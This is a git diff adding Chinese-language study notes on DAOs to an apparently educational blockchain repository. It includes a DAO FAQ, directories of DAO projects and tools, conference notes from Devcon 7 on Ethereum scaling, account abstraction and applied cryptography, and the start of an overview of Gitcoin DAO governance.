+典型的例子是Protocol Labs，这位MIT的毕业生，已经推出了许多改变世界的产品如libp2p，FILE Coin（去中心化存储底层服务），他们的成员，是来自世界各地的黑客、学生、学者等组成；这种组织形式，不仅仅更加优化了全球的人力资源配置，也给所有996的同学们一些Home Office的可能和机会，相对于国外65岁的程序员，国内程序员35岁危机，一直悬在头顶大砍刀，从这个角度看，真是国内程序员福音。
+
+![图片](https://mmbiz.qpic.cn/mmbiz_png/hQOcLbSk4VZUnxOaibgSzIVsDhsnjBQ9q1pES1KnuicGNqaYp8SYL8RgtO7Zzq7nwf3Wniak9y6Rw994FCnExO4YA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
+
+
+
+3.**Code is Law**，组织治理避免了繁杂和冗余的传统社会流程，采用代码来治理整个组织过程，包括核心的利益分配等，可能是快速轻装上阵的一种民间组织方式，值得尝试。
+
+传统组织，需要股权证明，期权分配，各种聘用合同，法律合同等的，当然，这里面（DAO）也有一些需要继续探知的风险和改变的缺点；但整体来说，当你有一个idea的时候，你会发现，快速执行，有人愿意支付你10块钱来帮助你买面包，你也愿意付出时间和风险去探索更好未来，承诺未来的收益由Token和代码来互相绑定，那何乐而不为呢？
+
+![图片](https://mmbiz.qpic.cn/mmbiz_png/hQOcLbSk4VZUnxOaibgSzIVsDhsnjBQ9qfOC72wfW5yBDKLhh7AQkQH9I2UyhePFpdjNWNl3jiakUjmohhoY7SxA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
+
+
+参考资料：
+
+- Wiki：https://en.wikipedia.org/wiki/Decentralized_autonomous_organization
+
+- 以太坊DAO介绍： https://mp.weixin.qq.com/s/nJya_W6z46uV_g5WR201SQ 
+
+- 陀螺财经：https://www.tuoluocaijing.cn/kepu/detail-10063012.html
+
+- DAO全景式科普：Just DAO It:  https://www.theblockbeats.com/news/25074  
+
+- The State of DAO Tooling： https://medium.com/1kxnetwork/organization-legos-the-state-of-dao-tooling-866b6879e93e
+
+- DAO乐高： https://mp.weixin.qq.com/s/ISUN46wL8GPXGe6Ir4kbDQ
+- thedaoist: https://thedaoist.mirror.xyz/FfzZ8NnWdb5ygJu13mLi9PdWoGqaoKSm8mJoRIi3GJI
+- dao tool: https://juicebox.money/#/
+
diff --git a/dao/dao-faq.md b/dao/dao-faq.md
new file mode 100644
index 000000000..414414772
--- /dev/null
+++ b/dao/dao-faq.md
@@ -0,0 +1,64 @@
+## FAQ for DAO
++ 关于DAO，大家有很多迷惑，很多疑问
++ 事实上，都在探索和成长的路上，所有物对DAO有疑问，有期待，有设想
++ 请在这里发布你的FAQ：无论是问题，还是看法（自问自答即可）
++ 第一个是范例
+
+### DAO和公司最大的区别是什么？
++ DAO（理想情况下）构建于一个smart contract或者一组和一个小组；公司是一个章程和几个合伙人。
++ DAO所有发起和参与者都是平等的（虽然大多会先中心化，再去中心）；公司有大股东、小股东。
++ DAO的目标不一定是盈利，可能是拯救企鹅或者构建一个DEX，或者专门捐赠给创新项目；公司有商业使命要赚钱否则倒闭（虽然社会价值会伴随产出）。
++ 所以，可能DAO是为了某个故事而相信彼此并构建合约、聚在一起的人。
++ 而公司是在董事会、资本驱动下的通过改变社会来赚取收益的组织
++ 理想主义 VS 资本驱动
+
+### 如何加入一个DAO
++ Google搜索并找到网站，或者在[dao-list](DAO-Review/DAO-list.md)搜一下（还不全）
++ 找到你要的，找到他们的discord（或者其他信息）
++ 加入
+
+### 有没有一个文章，汇集目前所有DAO相关的工具信息的？
++ 请看这里 [tools-list](https://medium.com/1kxnetwork/organization-legos-the-state-of-dao-tooling-866b6879e93e)
+
+### 如何参与DAO的治理？
++ 通常DAO的治理是通过投票机制实现的，持有DAO的治理代币或NFT的成员可以参与投票。DAO会在官网、论坛或Discord上发布治理提案（例如Gitcoin DAO的治理论坛）。
++ 一般步骤：1）注册或加入DAO的社群；2）获取治理代币；3）了解提案并参与投票。 
++ 投票可以在链上进行，也可以通过Snapshot等链下投票工具，具体根据DAO的治理模式。
+
+### DAO的治理代币是什么？如何获取？
++ 治理代币是一种区块链代币，持有者可以参与DAO的决策。它类似于公司中的股份，但治理代币通常不代表所有权，而是用于决策投票。
++ 获取方式：1）参与DAO的贡献任务；2）在特定平台上购买（如Uniswap）；3）通过DAO的激励或空投获得。
+
+### 什么是DAO的“去中心化”？是否所有DAO都完全去中心化？
++ “去中心化”意味着DAO没有一个单一的控制实体，而是由社区集体决策。但是，大多数DAO在早期仍由小团队或核心成员主导，以确保项目的初步发展。
++ 随着DAO的发展，逐步实现去中心化。例如，一些DAO会在初期保留中心化的管理，以便快速决策，待生态成熟后逐渐向去中心化过渡。
+
+### 参与DAO是否有风险？
++ 是的，参与DAO存在一些风险，例如智能合约漏洞、治理滥用、项目失败等。DAO的代码和治理机制如果设计不当，可能会导致资金损失或被恶意操控。
++ 建议：在参与DAO之前，先研究项目的代码、审计报告、社区治理等，谨慎投资或贡献时间。
+
+### 如何退出一个DAO？
++ 退出DAO通常没有严格限制，成员可以随时退出Discord或治理平台，也可以出售治理代币或NFT。如果参与DAO的治理代币持有者希望“退出”，可以选择在二级市场上卖出代币。
++ 但需要注意的是，退出可能会导致丧失参与决策的权利，也可能面临代币价格波动的风险。
+
+### 什么是DAO的金库（Treasury）？
++ DAO的金库是DAO持有的资金，用于支持DAO的运行和资助项目。金库中的资产可能包括治理代币、稳定币或其他加密资产。
++ 金库资金的使用通常需要通过社区投票决定，以保证透明和公开。
+
+### 如何看待DAO的透明性和安全性？
++ DAO的透明性和安全性依赖于其智能合约和治理机制。透明的DAO会公开所有决策、资金使用记录、代码等信息，以增强社区信任。
++ 安全性方面，DAO的智能合约需要经过审计，定期检测潜在漏洞。社区应保持警惕，并及时处理安全事件。
+
+### 什么是DAO的“贡献者”？如何成为一个DAO贡献者？
++ DAO的贡献者是那些直接参与DAO日常工作的成员，负责执行项目、维护社区、开发代码等。
++ 成为贡献者的方式：1）在DAO的社群（如Discord）中展示技能和价值；2）完成任务或提案；3）与DAO核心团队联系，申请特定职位或任务。
+
+### DAO与传统组织相比有什么优势？
++ **去中心化**：DAO通过智能合约实现自动化，减少对中介的依赖，赋予成员更大权力。
++ **开放性**：DAO通常是开放的，任何人可以通过持有治理代币加入并参与治理。
++ **快速决策**：通过链上投票或链下工具，DAO可以更快速、高效地达成决策。
++ **透明性**：所有资金流动和决策记录在区块链上公开，提高了透明度。
+
+### DAO的未来发展趋势是什么？
++ 目前，DAO在技术、治理模式、法务合规等方面仍在探索阶段，未来可能会发展出更成熟的工具和治理标准。
++ 越来越多的项目和社区组织在采用DAO模式，未来可能会出现更多不同类型的DAO，如社交DAO、创作者DAO、公益DAO等。
\ No newline at end of file
diff --git a/dao/dao-fast-link.md b/dao/dao-fast-link.md
new file mode 100644
index 000000000..2e404c302
--- /dev/null
+++ b/dao/dao-fast-link.md
@@ -0,0 +1,67 @@
+## 快速找到一个DAO
++ 请大家自行添加，4个字段
++ 分类（例如媒体、投资等）
++ 名字(作为标题)
++ 网址/应用地址
++ 一句话描述
+
+### Media
+#### Bankless
++ https://discord.gg/bjPz2w9Zts
++ 致力于去银行化，起家于媒体，现发展为多功能DAO，倡导金融自由和去中心化金融教育。
+
+#### Forefront
++ https://www.forefront.market/
++ 社交代币和Web3社区的媒体平台，汇集和分析代币经济、治理机制及DAO动态。
+
+### Invest
+#### DAOSquare
++ https://www.daosquare.io/
++ 国内较早期的投资类DAO，旨在孵化和支持Web3项目，通过社群力量推动早期项目发展。
+
+#### BitDAO
++ https://www.bitdao.io/
++ 推动开放金融发展，投资覆盖DeFi、NFT、游戏和其他区块链技术，通过研发和流动性引导支持创新项目。
+
+#### Metacartel Ventures
++ https://metacartel.xyz/
++ 专注于资助早期Web3项目的投资DAO，支持链上工具、DAO基础设施等领域，推动生态发展。
+
+### Hub
+#### DAOhaus
++ https://daohaus.club
++ 提供DAO创建模板和管理工具，帮助用户快速建立和启动自己的DAO，适合社区、项目等多种DAO模式。
+
+#### Aragon
++ https://aragon.org/
++ 提供DAO框架，支持多种DAO结构，从简单投票到复杂治理模型，为项目提供治理工具。
+
+#### Colony
++ https://colony.io/
++ 支持治理和协作的DAO框架，集成代币分配、薪酬机制、任务管理等功能，适合建立团队和项目DAO。
+
+### DAO Operations
+#### Coordinape
++ https://coordinape.com/
++ Web3原生的薪酬工具，基于同行评估和代币分配机制，让贡献者依据同事评估获得报酬，已被Bankless DAO等广泛采用。
+
+#### Snapshot
++ https://snapshot.org/
++ 链下投票工具，用于治理投票、提案管理，减少链上成本，为多种DAO提供灵活的投票机制支持。
+
+#### SourceCred
++ https://sourcecred.io/
++ 贡献评估工具，追踪和评估社区成员的贡献，并发放代币奖励，提升DAO的参与度和活跃度。
+
+### Grants
+#### Gitcoin DAO
++ https://gitcoin.co/
++ 专注于支持开源项目的资助平台，提供捐赠和资助功能，支持Web3生态中的开发者和项目成长。
+
+#### Moloch DAO
++ https://molochdao.com/
++ 资助以太坊生态和基础设施建设的DAO，以简单的“Rage Quit”机制保障资金和治理的安全性。
+
+#### Aave Grants DAO
++ https://aavegrants.org/
++ Aave生态的资助DAO，为开发者和社区成员提供项目支持资金，推动DeFi生态发展。
\ No newline at end of file
diff --git a/dao/dao-project-research.md b/dao/dao-project-research.md
new file mode 100644
index 000000000..1788c8795
--- /dev/null
+++ b/dao/dao-project-research.md
@@ -0,0 +1,104 @@
+# DAO 项目研究
+
+关于DAO的详细资料可以在这里找到：[BitMMP DAO详细信息](https://www.bitmmp.com/index.php/topic,503649.msg503954.html#msg503954)。
+
+### 资金和财务管理工具
+
+1. **Gnosis Safe**
+   - **描述**：多签钱包，通常用于管理社区的资金。
+
+2. **Snapshot**
+   - **描述**：链下投票平台，用于简单的基于代币治理。
+
+3. **Discourse**
+   - **描述**：论坛，通常用于讨论治理提议。
+
+4. **CollabLand**
+   - **描述**：机器人，对群组访问者的持币情况设限，并提供群组信息。
+
+5. **Coordinape**
+   - **描述**：协作游戏，用于决定哪个贡献者应该获得代币奖励。
+
+6. **Parcel**
+   - **描述**：资金管理工具，能简单追踪和发送付款。
+
+7. **SourceCred**
+   - **描述**：追踪社区参与和奖励活跃成员的实例。
+
+8. **Mirror**
+   - **描述**：通过代币化众筹为创意项目融资的平台。
+
+9. **Tally**
+   - **描述**：治理仪表盘，用于追踪不同协议的链上投票记录。
+
+10. **Boardroom**
+    - **描述**：持币者管理的治理中心，授权关键决策。
+
+11. **Sybil**
+    - **描述**：创建和追踪链上决策授权的工具。
+
+12. **RabbitHole**
+    - **描述**：为完成特定链上任务奖励代币的平台。
+
+### 额外的资金和财务管理工具
+
+1. **Karma**
+   - **描述**：治理贡献追踪工具，记录用户在DAO中的投票和参与情况。
+
+2. **OpenLaw**
+   - **描述**：基于智能合约的法律协议平台。
+
+3. **DAOstack**
+   - **描述**：模块化DAO协议和工具包，用于创建和管理各种DAO功能。
+
+4. **Sobol**
+   - **描述**：用于可视化DAO结构和成员关系的工具。
+
+---
+
+### 治理和决策工具
+
+1. **Orca Protocol**
+   - **描述**：模块化治理协议，专注于小型工作组的治理。
+
+2. **MolochDAO**
+   - **描述**：旨在简化提案和投票流程的治理框架。
+
+3. **Aragon Court**
+   - **描述**：去中心化仲裁系统，用于解决DAO内部的争议。
+
+---
+
+### 项目协作和贡献者管理工具
+
+1. **Dework**
+   - **描述**：为DAO内任务分配和协作量身定制的项目管理平台。
+
+2. **Aragon Voice**
+   - **描述**：基于Aragon的无手续费投票系统的社区投票工具。
+
+3. **Sablier**
+   - **描述**：实时支付工具，允许根据工作时间或任务完成情况进行支付流。
+
+---
+
+### 数据和分析工具
+
+1. **DeepDAO**
+   - **描述**：用于DAO关键指标和活动的数据分析平台。
+
+2. **Dune Analytics**
+   - **描述**：区块链数据分析平台，用户可以编写查询以分析公共区块链数据。
+
+3. **Flipside Crypto**
+   - **描述**：用于DAO和DeFi项目的数据和分析平台。
+
+---
+
+### 贡献者奖励和激励工具
+
+1. **SourceCred**
+   - **描述**：社区贡献奖励系统，根据社区活动分配代币。
+
+2. **Otoco**
+   - **描述**：帮助DAO建立法律实体并与传统金融和法律系统连接的工具。
diff --git a/dao/dao/Openzeppelin-DAO b/dao/dao/Openzeppelin-DAO
new file mode 160000
index 000000000..85ccfad6f
--- /dev/null
+++ b/dao/dao/Openzeppelin-DAO
@@ -0,0 +1 @@
+Subproject commit 85ccfad6f4cd1f6095636af6158a0c400f9be41d
diff --git a/dao/devcon.md b/dao/devcon.md
new file mode 100644
index 000000000..39109e951
--- /dev/null
+++ b/dao/devcon.md
@@ -0,0 +1,396 @@
+官网：https://devcon.org/en/
+
+今年 Devcon7 吸引全球 130 个国家共 12,500 名参与者参与，人数比上届多出一倍，也是史上规模最大的一届。
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/1.png?raw=true" /></center>
+## 历史介绍
+
+![2.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/2.png?raw=true)
+
+![3.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/3.png?raw=true)
+
+### Devcon & Devconnect
+
+EF举办的两场大会
+
+https://devconnect.org/ 
+
+## 形式和内容
+
+![4.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/4.png?raw=true)
+
+### 涵盖话题：
+
+- **Core protocol**
+- Cypherpunk and privacy
+- **Usability**
+- Real world Ethereum
+- **Applied cryptography**
+- Cryptoeconomics
+- Coordination
+- Developer experience
+- Security
+- **Layer 2S**
+
+https://ef-events.notion.site/Devcon-Talks-Wishlist-e3db0d77dbb94bc4a11287761e149e1f
+
+## 以太坊& L2
+
+### Ethereum in 30 mins
+
+https://www.youtube.com/watch?v=ei3tDRMjw6k
+
+![5.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/5.png?raw=true)
+
+![6.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/6.png?raw=true)
+
+世界计算机， 以太坊客户端的多样性， 更少的质押量 orbit， 轻客户端
+
+Cross layer2 operation
+
+dydxV3 l2beat implement exit hatch
+
+L2 cost  less than 1cent
+
+Light client  **helios**
+
+![7.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/7.png?raw=true)
+
+![8.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/8.png?raw=true)
+
+### This year in Ethereum
+
+Josh Stark
+
+https://www.youtube.com/watch?v=YyK8i2-0aPk&t=83s
+
+![9.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/9.png?raw=true)
+
+![10.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/10.png?raw=true)
+
+![11.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/11.png?raw=true)
+
+### 相关项目：
+
+**Farcaster , Lens , Zora**
+
+**Game: https://whitepaper.evefrontier.com/**
+
+**ID: ENS ,ANON**
+
+**Prediction: polymarket, augur, veil**
+
+### 两个quest:
+
+1. L2的stage阶段，跟L1对齐， 目前arbi ，op都已经stage1
+
+https://l2beat.com/scaling/summary
+
+1. Interoperability + UX
+
+流动性碎片
+
+### Beam chain (Justin Drake)
+
+https://x.com/VitalikButerin/status/1741190491578810445/photo/1
+
+回顾下eth2.0 roadmap
+
+![12.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/12.png?raw=true)
+
+Execution layer,  Data layer, consensus layer
+
+**Redesign consensus layer**
+
+![13.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/13.png?raw=true)
+
+![14.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/14.png?raw=true)
+
+![15.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/15.png?raw=true)
+
+Pow ->pos -> zk
+
+ZKEVM 可能因兼容编译器和工具链而被优先选择，但现在，**ZKVM**的潜力被更广泛地认可。
+
+RISC V 指令集 。**risc0  sp1**  - > state transistion funciton
+
+![16.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/16.png?raw=true)
+
+### Pectra 升级
+
+https://www.youtube.com/watch?v=ufIDBCgdGwY
+
+By Christine Kim
+
+以太坊的下一次升级
+
+![17.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/17.png?raw=true)
+
+![18.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/18.png?raw=true)
+
+![19.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/19.png?raw=true)
+
+![20.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/20.png?raw=true)
+
+### Based rollup & preconfs
+
+By Puffer labs Jason
+
+https://www.youtube.com/watch?v=WiKPlNGrUzU
+
+解决L2流动性碎片问题
+
+![21.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/21.png?raw=true)
+
+![22.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/22.png?raw=true)
+
+Agree on one entity to sequence all the rollups. **L1-sequenced.**
+
+![23.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/23.png?raw=true)
+
+![24.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/24.png?raw=true)
+
+问题：需要等待12S的区块确认时间（L1 block）
+
+Pre-confs
+
+![25.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/25.png?raw=true)
+
+![26.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/26.png?raw=true)
+![27.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/27.png?raw=true)
+
+### Advancing OP Stack to ZK Rollup
+
+https://www.youtube.com/watch?v=04Fis57TTHE
+
+![28.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/28.png?raw=true)
+
+### Agglayer
+
+https://www.youtube.com/watch?v=asPJJDIQaWY
+
+**Shared sequencer**
+
+The Agglayer is a neutral, cross-chain settlement layer that unifies liquidity, users ,and
+
+State of aggregated chains, and post finality to Ethereum.
+
+实现多个 Optimistic Rollup 之间的原子跨链互操作性。通过共享排序器，整个系统能够统一处理多个 Rollup 的交易排序和状态根发布，确保原子性和条件执行。
+
+具体实现逻辑需要通过三个组件：
+
+1. **接受跨链操作的共享排序器**：接收和处理跨链交易请求；
+2. **区块构建算法**：共享排序器负责构建包含跨链操作的区块，确保这些操作的原子性；
+3. **共享欺诈证明**：在相关 Rollup 之间共享欺诈证明机制，以强制执行跨链操作。
+
+![29.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/29.png?raw=true)
+
+![30.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/30.png?raw=true)
+
+### Chain Abstraction
+
+onebalance
+
+https://www.youtube.com/watch?v=9fH-de8v53g
+
+
+
+https://www.erc7683.org/resources
+
+![31.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/31.png?raw=true)
+
+![32.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/32.png?raw=true)
+
+https://vitalik.eth.limo/general/2024/12/03/wallets.html
+
+![33.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/33.png?raw=true)
+
+### Unichain
+
+1.  Instant transactions (250 ms block times)
+
+1. Reduced cost and further decentralization
+2. Cross-chain liquidity ( [ERC7683](https://www.erc7683.org/))
+
+### ENS：
+
+ENS的跨链互操作性
+
+https://app.devcon.org/schedule/VBSW3N
+
+https://www.youtube.com/watch?v=e_QBTQGMxPs
+
+### BASE
+
+### Linea
+
+## AA：
+
+从 ERC4377 到 ERC7702
+
+EIP-7702通过结合ERC-4337、EIP-3074和EIP-5003的优点。EIP-7702与现有ERC-4337基础设施完全兼容
+
+- **ERC-4337 - 智能合约账户：**允许智能合约作为用户账户运行，使开发人员能够构建复杂的交易逻辑和用户体验改进。但它缺乏将**EOA转换为智能合约账户的本地支持**，没有向后兼容性，使交易成本高昂。
+- **EIP-3074 - AUTH和AUTHCALL：**通过引入两个新的操作码AUTH和AUTHCALL增强EOA功能，使其临时充当智能合约账户。然而，它需要硬分叉并依赖调用者，导致集中化风险。
+- **EIP-5003 - AUTHUSURP：**引入AUTHUSURP操作码，用于**永久迁移EOA到智能合约账户**。通过部署智能合约代码到EIP-3074授权地址并撤销原私钥访问实现。
+
+
+
+1. 初始设定，在一个 [4337](https://learnblockchain.cn/article/5768) 钱包中，该钱包由一个 Enternal Ownered Account（EOA） 和一个 Contract Account（CA）组成。
+2. 在钱包端，当 EOA 或者任何其他签名方案（在以太坊之外的公链）发起交易时，EOA 签名生成 `UserOperation`（一种伪交易类型，提供所有交易信息，包括calldata、sender, gas, maxFeePerGas, maxPriorityFee,signature, nonce等）。
+3. 钱包将 `UserOperation` 传到专用的 UserOperation mempool，Bundler（矿工或可以通过bundle市场向矿工发送交易的用户）可以监听该 menpool，并创建 bundle transactions，一个bundle transactions 可以包含多个 `UserOperation` 传到 Entry Point 合约的 `handleOps` 接口。
+4. Miner 将 bundle transaction 打包出块。
+5. Entry Point 有以下两个验证和执行的循环阶段。
+
+### Native Account Abstraction in Pectra
+
+https://www.youtube.com/watch?v=FYanFF-yU6w
+
+enshrinement of ERC-4337's account
+
+![34.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/34.png?raw=true)
+
+### From MPC Wallets to Smart Contract Accounts
+
+https://www.youtube.com/watch?v=Yr0AS9QifjU&t=320s 
+
+![35.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/35.png?raw=true)
+
+![36.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/36.png?raw=true)
+
+![37.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/37.png?raw=true)
+
+### Passkeys : the good, the bad, the ugly
+
+https://www.youtube.com/watch?v=TEjNSr8jjUI
+
+Coinbase smartwallet: https://www.coinbase.com/wallet/smart-wallet
+
+## 应用密码学
+
+ZKP , MPC , FHE
+
+### Building Consumer Apps with ZK, MPC, and FHE (panel)
+
+https://www.youtube.com/watch?v=UPXYzWS7ZJ4&t=12s
+
+### Programmable Cryptography and Ethereum：
+
+gubsheep:
+
+https://www.youtube.com/watch?v=UWPg_AmWtlw
+
+How can we compute together
+
+
+![38.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/38.png?raw=true)
+
+![39.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/39.png?raw=true)
+
+![40.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/40.png?raw=true)
+
+![41.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/41.png?raw=true)
+
+去中心化社交，
+
+去中心化推特：**farcaster, Bluesky， Nostr**
+
+How to build decentralize  facebook？
+
+![42.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/42.png?raw=true)
+
+
+可验证计算： ZKVM : **risc0, sp1,  jolt, nexus**
+
+Programming in private state:  homomorphic Encryption   openFHE /phantom-zone
+
+Non-interactivity: obfuscation and functional encryption.
+
+### IO
+
+https://www.youtube.com/live/-HAh09a5Qec?t=3398s
+
+不可区分混淆 (iO)
+
+https://cronokirby.com/posts/2022/05/explaining-yaos-garbled-circuits/
+
+iO 可以加密（或混淆）程序，使得混淆后的程序执行与原始程序完全相同的功能，且不会泄露有关其内部结构的任何信息
+
+V神文章[How obfuscation can help Ethereum](https://ethresear.ch/t/how-obfuscation-can-help-ethereum/7380)
+
+- Barry Whitehat、 Jamajaya Mall 和Vitalik Buterin的进一步演示说明了可以使用 iO 构造的实际应用。
+
+
+### MPC Tooling or How to create MPC apps
+
+https://www.youtube.com/watch?v=eKpcf1JMNak
+
+
+
+![43.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/43.png?raw=true)
+
+MPC-ML，coSnarks, MPC stats
+![44.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/44.png?raw=true)
+
+MPC-framework: https://github.com/voltrevo/mpc-framework
+
+2PC for lover: https://voltrevo.github.io/2pc-is-for-lovers/
+
+
+### The combination of ZKP +/- MPC +/- FHE：
+
+https://www.youtube.com/watch?v=Tq7CVqDE_P4&t=293s
+
+ZKP+MPC 外包计算
+
+![45.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/45.png?raw=true)
+
+MPC+FHE
+
+![46.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/46.png?raw=true)
+
+ZKP+FHE
+
+![47.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/47.png?raw=true)
+
+### zkemail
+
+https://www.youtube.com/watch?v=YvzdNMpynZM
+
+![48.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/48.png?raw=true)
+
+电子邮件协议使用 DKIM 来保证完整性。这种验证方法可以防止电子邮件被欺骗。DKIM 采用 RSA 密钥对。
+
+![49.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/49.png?raw=true)
+
+![50.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/50.png?raw=true)
+
+One natural route is a 2-of-3 using zk-email on their email address, a key stored locally on the user's device (which could be a passkey), and a backup key held by the provider. As a user becomes more experienced, or accrues more assets, at some point they should be prompted to add more guardians.
+
+https://vitalik.eth.limo/general/2024/12/03/wallets.html
+
+### Tlsnotary
+
+https://www.youtube.com/watch?v=bI6U17Km9HU&t=1308s
+
+![48.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/48.png?raw=true)
+
+![49.png](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/dao/devcon/49.png?raw=true)
+
+TLSNotary solves this by adding a Verifier to the TLS connection using secure Multi-Party Computation (MPC). MPC provides cryptographic guarantees, allowing the Verifier to authenticate the TLS transcript without requiring external trust or revealing the complete data to anyone. TLSNotary can sign (aka notarize) data and make it portable in a privacy preserving way.
+
+
+
+TLSNotary 13年就出现的技术，由PSE重新开发
+
+https://bitcointalk.org/index.php?topic=173220.0
+
+参考链接：
+
+https://www.alchemy.com/overviews/what-is-account-abstraction
+
+https://mp.weixin.qq.com/s/WYnqC5rOslmp3KgLcP_1fw
+
+https://www.aicoin.com/en/article/343839
+
+https://vitalik.eth.limo/general/2024/10/14/futures1.html
diff --git a/dao/gitcoinDAO/Governance.md b/dao/gitcoinDAO/Governance.md
new file mode 100644
index 000000000..3c7076148
--- /dev/null
+++ b/dao/gitcoinDAO/Governance.md
@@ -0,0 +1,69 @@
+Gitcoin DAO operates as a decentralized autonomous organization (DAO), allowing community members to participate in decision-making processes to support open-source projects and public goods funding. Built on blockchain technology, Gitcoin DAO’s governance structure includes governance tokens, proposals, and voting mechanisms to ensure transparency and decentralization. Here’s a detailed breakdown of Gitcoin DAO’s governance model:
+
+### 1. Governance Token: GTC
+   **GTC (Gitcoin Token)** serves as Gitcoin DAO’s governance token, granting holders the power to influence the platform's direction. GTC has no economic value or revenue-sharing functionality; it solely exists for governance purposes. Key roles of GTC in governance include:
+
+   - **Proposal Rights**: GTC holders can initiate proposals or participate in discussions, suggesting adjustments to Gitcoin’s operations, fund distribution, and project support strategies.
+   - **Voting Rights**: GTC holders can vote on proposals, with their voting weight determined by their GTC holdings. More GTC translates to more influence over proposal outcomes.
+   - **Participation Incentives**: GTC holders are encouraged to participate actively in proposal discussions and voting, with some incentive programs offering additional GTC rewards for active involvement, fostering a lively governance ecosystem.
+
+   **Reference Link**:
+   - [Gitcoin Governance Token (GTC)](https://gitcoin.co/)
+
+### 2. Proposal Process: Gitcoin Governance Forum and Snapshot
+   Gitcoin’s proposal process is conducted through the **Gitcoin Governance Forum** and **Snapshot** voting platform. Proposals move from initial community discussion to official proposal, voting, and eventual implementation. The process is as follows:
+
+   - **Discussion Phase**: Any GTC holder can propose topics or suggestions in the Gitcoin Governance Forum, discussing the necessity, feasibility, and impact of a proposal.
+   - **Proposal Submission**: Proposals that gain significant support or community interest are formalized and typically require a designated proposer and supporters.
+   - **Snapshot Voting**: Snapshot is a gas-free voting platform enabling decentralized governance voting within Gitcoin DAO. GTC holders can use Snapshot to vote on whether to approve proposals.
